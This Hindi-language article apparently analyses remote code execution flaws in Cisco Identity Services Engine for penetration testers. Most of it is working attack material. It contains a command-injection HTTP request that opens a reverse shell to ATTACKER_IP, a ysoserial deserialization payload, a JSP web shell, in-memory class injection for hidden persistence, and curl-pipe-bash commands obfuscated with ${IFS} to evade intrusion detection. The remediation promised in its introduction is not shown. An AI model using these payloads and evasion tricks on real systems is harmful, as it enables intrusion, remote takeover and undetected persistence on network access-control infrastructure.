
सिस्को ISE RCE कमजोरियों का गहन तकनीकी विश्लेषण, जिसमें सुरक्षा शोधकर्ताओं और पैठ परीक्षकों के लिए शोषण तकनीकें, चोरी-छिपे तरीके, और उपचार रणनीतियाँ शामिल हैं।
Cisco Identity Services Engine (ISE) में रिमोट कोड निष्पादन (RCE) कमजोरियाँ कॉर्पोरेट परिधि सुरक्षा में एक महत्वपूर्ण विघटन बिंदु का प्रतिनिधित्व करती हैं। एक शीर्ष स्तरीय सुरक्षा शोधकर्ता के लिए, ISE केवल एक प्रमाणीकरण घटक नहीं है: यह मास्टर कुंजी है जो संपूर्ण नेटवर्क अवसंरचना तक पहुंच को नियंत्रित करती है।
गंभीर जोखिम: एक अनधिकृत हमलावर 5 मिनट से भी कम समय में सिस्टम पर पूर्ण नियंत्रण प्राप्त कर सकता है, बिना पारंपरिक निगरानी प्रणालियों में पता लगाने योग्य निशान छोड़े।
| CVE | एंडपॉइंट | विधि | प्रमाणीकरण | गंभीरता |
|---|---|---|---|---|
| CVE-2025-20281 | /deployment-rpc/enableStrongSwanTunnel | POST | ❌ कोई नहीं | गंभीर |
| CVE-2025-20282 | /api/v1/config/upload | POST | ⚠️ कमजोर | गंभीर |
| CVE-2025-20124 | /admin/rest/api/v1/system/config | GET/POST | ⚠️ बायपास संभव | गंभीर |
┌─────────────────────────────────────────────────────────┐
│ CISCO ISE - उजागर NAC आर्किटेक्चर │
├─────────────────────────────────────────────────────────┤
│ │
│ [इंटरनेट] ──→ [फ़ायरवॉल] ──→ [ISE प्रबंधन पोर्ट] │
│ ↓ │
│ [अनधिकृत API] │
│ ↓ │
│ [Java Deserialization परत] │
│ ↓ │
│ [Tomcat वेब कंटेनर] │
│ ↓ │
│ [OS कमांड निष्पादन] │
│ ↓ │
│ [पूर्ण नेटवर्क समझौता] │
│ │
└─────────────────────────────────────────────────────────┘
महत्वपूर्ण निष्कर्ष: /deployment-rpc/ API प्रसंस्करण की प्रारंभिक पंक्तियों में सत्र टोकन सत्यापित नहीं करता, जिससे प्रमाणीकरण का पूर्ण बायपास संभव होता है।
चरण 1: टोही
# पोर्ट और सेवा स्कैनिंग
nmap -sV -p 8443,8080 <ISE_IP>
# RPC एंडपॉइंट की गणना
curl -s https://<ISE_IP>:8443/deployment-rpc/ | grep -i "method"
चरण 2: प्रत्यक्ष शोषण
POST /deployment-rpc/enableStrongSwanTunnel HTTP/1.1
Host: <ISE_IP>:8443
Content-Type: application/json
Content-Length: 287
{
"tunnelName": "admin",
"tunnelType": "IPSec",
"presharedKey": "test",
"remoteGateway": "127.0.0.1",
"localSubnet": "0.0.0.0/0",
"remoteSubnet": "0.0.0.0/0",
"advancedConfig": "'; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1; echo '"
}
परिणाम: root विशेषाधिकारों के साथ मनमाना कमांड निष्पादन (डिफ़ॉल्ट कॉन्फ़िगरेशन में Tomcat उपयोगकर्ता root के रूप में चलता है)।
[सीरियलाइज़्ड पेलोड] ──→ [API एंडपॉइंट] ──→ [ObjectInputStream.readObject()]
↓
[Gadget Chain निष्पादन]
↓
[Runtime.exec() आह्वान]
PoC पेलोड (ysoserial का उपयोग करके):
# दुर्भावनापूर्ण gadget chain का निर्माण
java -jar ysoserial.jar CommonsCollections6 \
'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"' | \
base64 -w 0 > payload.b64
# पेलोड भेजना
curl -X POST https://<ISE_IP>:8443/admin/rest/api/v1/system/config \
-H "Content-Type: application/octet-stream" \
--data-binary @payload.b64
प्रभाव: "केवल-पढ़ने" खाते से root तक विशेषाधिकार वृद्धि।
[वेब शेल] ──→ [/api/v1/config/upload] ──→ [/opt/CSCOlumos/uploads/]
↓
[Tomcat JSP फ़ाइल संसाधित करता है]
↓
[root विशेषाधिकारों के साथ निष्पादन]
दुर्भावनापूर्ण वेब शेल उदाहरण:
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cmd});
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = br.readLine()) != null) {
out.println(line + "<br>");
}
}
%>
बाद में पहुंच:
https://<ISE_IP>:8443/opt/CSCOlumos/uploads/shell.jsp?cmd=id
एक शीर्ष स्तरीय हैकर कभी डिस्क पर फ़ाइलें नहीं छोड़ता। मेमोरी इंजेक्शन अदृश्य स्थिरता की तकनीक है:
// Tomcat ClassLoader में इंजेक्शन
ClassLoader loader = Thread.currentThread().getContextClassLoader();
byte[] classBytes = generateMaliciousClass();
Method defineClass = ClassLoader.class.getDeclaredMethod(
"defineClass",
String.class, byte[].class, int.class, int.class
);
defineClass.setAccessible(true);
defineClass.invoke(loader, "EvilClass", classBytes, 0, classBytes.length);
लाभ: पारंपरिक फ़ाइल स्कैन (OSSEC, Tripwire) कुछ भी पता नहीं लगाते।
${IFS} के साथ कमांड अस्पष्टीकरण# मूल कमांड (पता लगाने योग्य)
curl http://attacker.com/shell.sh | bash
# अस्पष्ट कमांड (IDS चोरी)
c${IFS}url${IFS}http://attacker.com/shell.sh${IFS}|${IFS}bash
# वेरिएबल इंडायरेक्शन के साथ भिन्नता
${PATH:0:1}b${PATH:0:1}n${PATH:0:1}bash${IFS}-c${IFS}'दुर्भावनापूर्ण_कमांड'
यह क्यों काम करता है: पहचान प्रणालियाँ कीवर्ड पैटर्न (curl, bash, |) खोजती हैं। ${IFS} (इंटरनल फील्ड सेपरेटर) का उपयोग bash में अर्थ बदले बिना शब्दों को विभाजित करता है।
# ❌ पता लगाने योग्य - /etc/cron.d/ में फ़ाइलें
echo "* * * * * root /tmp/malware.sh" > /etc/cron.d/evil
# ✅ अदृश्य - Tomcat प्रक्रिया में इंजेक्शन
# 1. मेमोरी में netcat लिसनर बनाएं
# 2. JVM में थ्रेड इंजेक्ट करें जो स्थायी कनेक्शन बनाए रखता है
# 3. कोई फ़ाइलें नहीं, कोई दृश्यमान अनाथ प्रक्रियाएँ नहीं
┌──────────────────────────────────────────────────────────────────┐
│ मूल ज़ीरो ट्रस्ट आर्किटेक्चर │
├──────────────────────────────────────────────────────────────────┤
│ │
│ [उपयोगकर्ता] ──→ [ISE प्रमाणीकरण] ──→ [डिवाइस पोस्चर जांच] │
│ ↓ │
│ [माइक्रो-सेगमेंटेशन नीति] │
│ ↓ │
│ [संसाधनों तक सीमित पहुंच] │
│ │
└──────────────────────────────────────────────────────────────────┘
⬇️ ISE समझौते के बाद ⬇️